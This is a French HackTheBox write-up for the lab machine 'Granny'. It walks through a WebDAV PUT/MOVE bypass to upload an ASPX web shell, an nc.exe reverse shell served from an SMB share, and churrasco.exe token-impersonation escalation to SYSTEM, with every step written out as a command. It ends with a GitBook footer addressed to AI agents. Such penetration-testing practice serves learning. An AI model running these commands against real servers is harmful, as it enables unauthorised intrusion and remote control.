> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md).

# Compte rendu HackTheBox de Granny

{% embed url="<https://app.hackthebox.com/machines/14>" %}

{% hint style="warning" %}
**Compétences :**

* Abus des méthodes PUT et MOVE - Téléversement d'un WebShell Aspx
* Microsoft IIS 6.0 - Débordement de tampon à distance WebDAV 'ScStoragePathFromUrl' (RCE)
* Kidnapping de jeton - Churrasco (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/83c85994289025f5c12f08a05124592e922b98a8" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/cab39942b365aee77a6934a6e8ae2cb71e4e4263" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts
```

<figure><img src="/files/97d11f2de473c80b21d4fa76d86a3d2cc704044b" alt=""><figcaption></figcaption></figure>

**Analyse des versions des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted
```

<figure><img src="/files/e6818836eb159ed3c5b3d76c1bbadac95aae9742" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/b3baee1c06278430f91eba89a6bb0b57b7e3ab71" alt=""><figcaption></figcaption></figure>

## Vulnérabilité WebDAV

Le port 80 est ouvert et le serveur prend en charge WebDAV. Cela nous permet potentiellement de téléverser des fichiers via la méthode PUT et de les renommer avec MOVE.

<figure><img src="/files/a3dc09f90482e6be18162832ab319521dae8cd23" alt=""><figcaption></figcaption></figure>

Créer un fichier de test :

```bash
echo "this is a test" > test.txt
```

Se connecter au serveur avec l'outil **cadaver** outil :

```bash
cadaver 10.10.10.15
```

Essayer de téléverser le fichier avec la commande PUT :

<figure><img src="/files/44947e82d59b2b4e383e4fbf912b65c399356725" alt=""><figcaption></figcaption></figure>

* Résultat : succès.

<figure><img src="/files/7202c91c2aefa11139bf1af276e85d7a62b5ed7d" alt="" width="563"><figcaption></figcaption></figure>

### **Téléversement du Web Shell**

Copier un WebShell ASPX préexistant :

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Essayer de le téléverser directement :

```powershell
put aspx_cmd.aspx
```

Résultat : échec (le serveur bloque les fichiers avec l'extension .aspx).

<figure><img src="/files/512d309a0a72febe2a15a61849e1bcd67ad84309" alt="" width="563"><figcaption></figcaption></figure>

Changer l'extension en **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt
```

Essayer à nouveau le téléversement :

```powershell
PUT cmd.txt
```

* Résultat : succès.

<figure><img src="/files/48c93bc2cfbab9f49c442fdbbf92e26533e0395d" alt="" width="563"><figcaption></figcaption></figure>

#### Renommer le fichier avec MOVE pour restaurer l'extension :

```powershell
move cmd.txt cmd.aspx
```

<figure><img src="/files/e58e8c4b6f66f35c1a580870cf5dc03547b9a7e1" alt=""><figcaption></figcaption></figure>

Accéder au WebShell via le navigateur :

<figure><img src="/files/3e98194ef06464a1f0a5f406b1ead6696562c13b" alt=""><figcaption></figcaption></figure>

### **Shell inversé via le WebShell :**

Placer un exécutable Netcat dans le répertoire courant :

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Lancer un serveur SMB pour partager le fichier :

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Écouter sur votre machine sur le port 443 :

```bash
sudo rlwrap nc -nvlp 443
```

Exécuter la commande de reverse shell depuis le WebShell :

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443
```

<figure><img src="/files/f5cbf6fad68e735f9897ddb7b932470042afd036" alt=""><figcaption></figcaption></figure>

## **Élévation de privilèges :**

### Exploitation du noyau - Windows Server 2003

En utilisant les `systeminfo` commande, nous constatons que l'équipement est très ancien (Windows Server 2003) :

```bash
systeminfo
```

<figure><img src="/files/bac78d45bb12be421abdf6069fbfdd75c74a86f7" alt=""><figcaption></figcaption></figure>

Nous avons aussi le `SeImpersonatePrivilege` privilège, qui nous permet d'essayer d'élever nos privilèges.

<figure><img src="/files/a2b05e634423d07f05414f9df8339456cc0d0946" alt=""><figcaption></figcaption></figure>

Pour contourner cette limitation, nous utiliserons l' **churrasco.exe** outil.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Transfert de fichiers Windows (SMB)/*/*

> Nous utilisons **smbserver.py** pour partager un répertoire contenant le fichier d'exploit 40627.exe. Ce fichier est ensuite copié sur la machine cible.

```bash
smbserver.py share $(pwd) -smb2support
```

Depuis la machine cible, nous avons copié le fichier malveillant à l'aide de la commande SMB :

```bash
copy //10.10.14.30/share/churrasco.exe churrasco.exe
```

Nous pouvons ensuite exécuter n'importe quelle commande avec ce binaire, par exemple :

```powershell
./churrasco.exe "whoami"
```

<figure><img src="/files/f30fee4e0425a46014ac5bf1449c4a0ab3957953" alt="" width="563"><figcaption></figcaption></figure>

**Établir un shell inversé**

Pour établir un shell inversé, nous écoutons sur le port 443 :

```bash
sudo rlwrap nc -nvlp 443
```

Nous recréons un serveur SMB avec **nc.exe**:

```bash
smbserver.py share $(pwd) -smb2support
```

Enfin, nous exécutons le reverse shell avec la commande suivante :

```bash
./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443"
```

<figure><img src="/files/b3bbfbc91526823a4ca6925e17ec85569dffe06b" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/023be0b4fb79e0bd11833f995175686161ebda3e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4222dc25144bebf945b502b634f827be094cfadf" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
